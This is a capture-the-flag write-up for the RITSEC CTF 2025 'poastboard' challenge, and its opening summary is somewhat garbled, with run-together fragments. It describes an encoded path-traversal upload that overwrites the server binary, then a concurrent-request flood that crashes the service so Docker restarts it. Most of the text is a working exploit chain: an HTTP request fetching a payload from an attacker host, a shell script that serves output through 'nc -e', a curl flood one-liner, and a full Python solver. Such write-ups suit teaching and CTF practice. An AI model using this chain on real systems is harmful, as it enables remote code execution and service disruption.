URL-decoded last-segment traversal to binary overwrite
| Event Name | RITSEC CTF 2025 |
| GitHub URL | - |
| Challenge Name | poastboard (hard) |
Attachments
References
image: "url:http://..." mode even though the UI disables URL upload. After fetching attacker-controlled bytes, the handler rebuilds the destination filename from the last URL path segment and then calls os.Rename("/tmp/image.png", "./uploads/<user>/<post>/<filename>") without constraining traversal out of ./uploads./app/poastboard, upload it with url:http://ATTACKER/%2e%2e%2f%2e%2e%2f%2e%2e%2fpoastboard., then flood /api/stats until the mutex bug panics the service. Docker restarts the container, executes the overwritten binary, the replacement script runs /readflag, and the flag is served back on port 8080.../ and plain /poastboard payloads collapse to image.png; traversal only survives when the encoded slashes and dots stay inside one final path segment./api/stats needs a burst of concurrent requests to trigger fatal error: sync: unlock of unlocked mutex reliably enough for Docker restart.RS{FAKE_FLAG_FOR_TESTING} from /readflag; the exploit path was still validated from a clean rebuild and restart, so only the local flag value is fake.why it is vulnerable
// Inference from RE of the stripped Go binary plus live validation.
if strings.HasPrefix(post.Image, "url:") {
attackerURL := strings.TrimPrefix(post.Image, "url:")
body := mustRead(http.Get(attackerURL))
// The upload code derives the final filename from the last URL path segment.
// Raw ../ is normalized away early, but a single encoded segment like
// "%2e%2e%2f%2e%2e%2f%2e%2e%2fpoastboard." is decoded late enough to become
// "../../../poastboard" right before the rename.
filename := decodeFinalSegment(attackerURL)
os.WriteFile("/tmp/image.png", body, 0o755)
postID := db.MakePost(...)
// No guard prevents the rename target from escaping ./uploads.
os.Rename("/tmp/image.png", fmt.Sprintf("./uploads/%s/%d/%s", user, postID, filename))
}
// Separately, /api/stats has a lock/unlock bug. A burst of concurrent requests
// crashes the process with: fatal error: sync: unlock of unlocked mutex.
// docker-compose.yml uses restart: always, so the overwritten /app/poastboard is
// executed on the next container start.exploit payload
POST /api/post HTTP/1.1
Content-Type: application/json
{"content":"overwrite-binary","image":"url:http://ATTACKER/%2e%2e%2f%2e%2e%2f%2e%2e%2fpoastboard.","is_private":false}#!/bin/sh
/readflag > /tmp/flag.txt
cat > /tmp/serveflag.sh <<'EOF'
#!/bin/sh
LEN=$(wc -c < /tmp/flag.txt | tr -d ' ')
printf 'HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$LEN"
cat /tmp/flag.txt
EOF
chmod +x /tmp/serveflag.sh
exec nc -lk -p 8080 -e /tmp/serveflag.shseq 1 400 | xargs -P 100 -I{} curl -s -o /dev/null -b cookies http://TARGET/api/statssolver
#!/usr/bin/env python3
import concurrent.futures
import secrets
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
import requests
TARGET = "http://127.0.0.1:8080"
CALLBACK = "http://172.0.32.1:18083"
PAYLOAD_PATH = "/%2e%2e%2f%2e%2e%2f%2e%2e%2fpoastboard."
PAYLOAD = b"""#!/bin/sh
/readflag > /tmp/flag.txt
cat > /tmp/serveflag.sh <<'EOF'
#!/bin/sh
LEN=$(wc -c < /tmp/flag.txt | tr -d ' ')
printf 'HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$LEN"
cat /tmp/flag.txt
EOF
chmod +x /tmp/serveflag.sh
exec nc -lk -p 8080 -e /tmp/serveflag.sh
"""
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "image/png")
self.send_header("Content-Length", str(len(PAYLOAD)))
self.end_headers()
self.wfile.write(PAYLOAD)
def log_message(self, fmt, *args):
return
server = HTTPServer(("0.0.0.0", 18083), Handler)
threading.Thread(target=server.serve_forever, daemon=True).start()
s = requests.Session()
user = f"solver{int(time.time())}"
password = secrets.token_hex(8)
s.post(f"{TARGET}/api/register", json={"username": user, "password": password}, timeout=5)
s.post(f"{TARGET}/api/login", json={"username": user, "password": password}, timeout=5)
r = s.post(
f"{TARGET}/api/post",
json={
"content": "overwrite-binary",
"image": f"url:{CALLBACK}{PAYLOAD_PATH}",
"is_private": False,
},
timeout=5,
)
assert "../../../poastboard" in r.text, r.text
cookies = s.cookies.get_dict()
def hit_stats(_):
try:
requests.get(f"{TARGET}/api/stats", cookies=cookies, timeout=5)
except requests.RequestException:
pass
with concurrent.futures.ThreadPoolExecutor(max_workers=100) as pool:
list(pool.map(hit_stats, range(400)))
for _ in range(30):
try:
resp = requests.get(f"{TARGET}/", timeout=1)
if resp.ok and resp.text.strip() and "<html" not in resp.text.lower():
print(resp.text.strip())
break
except requests.RequestException:
pass
time.sleep(1)
else:
raise SystemExit("flag not reached")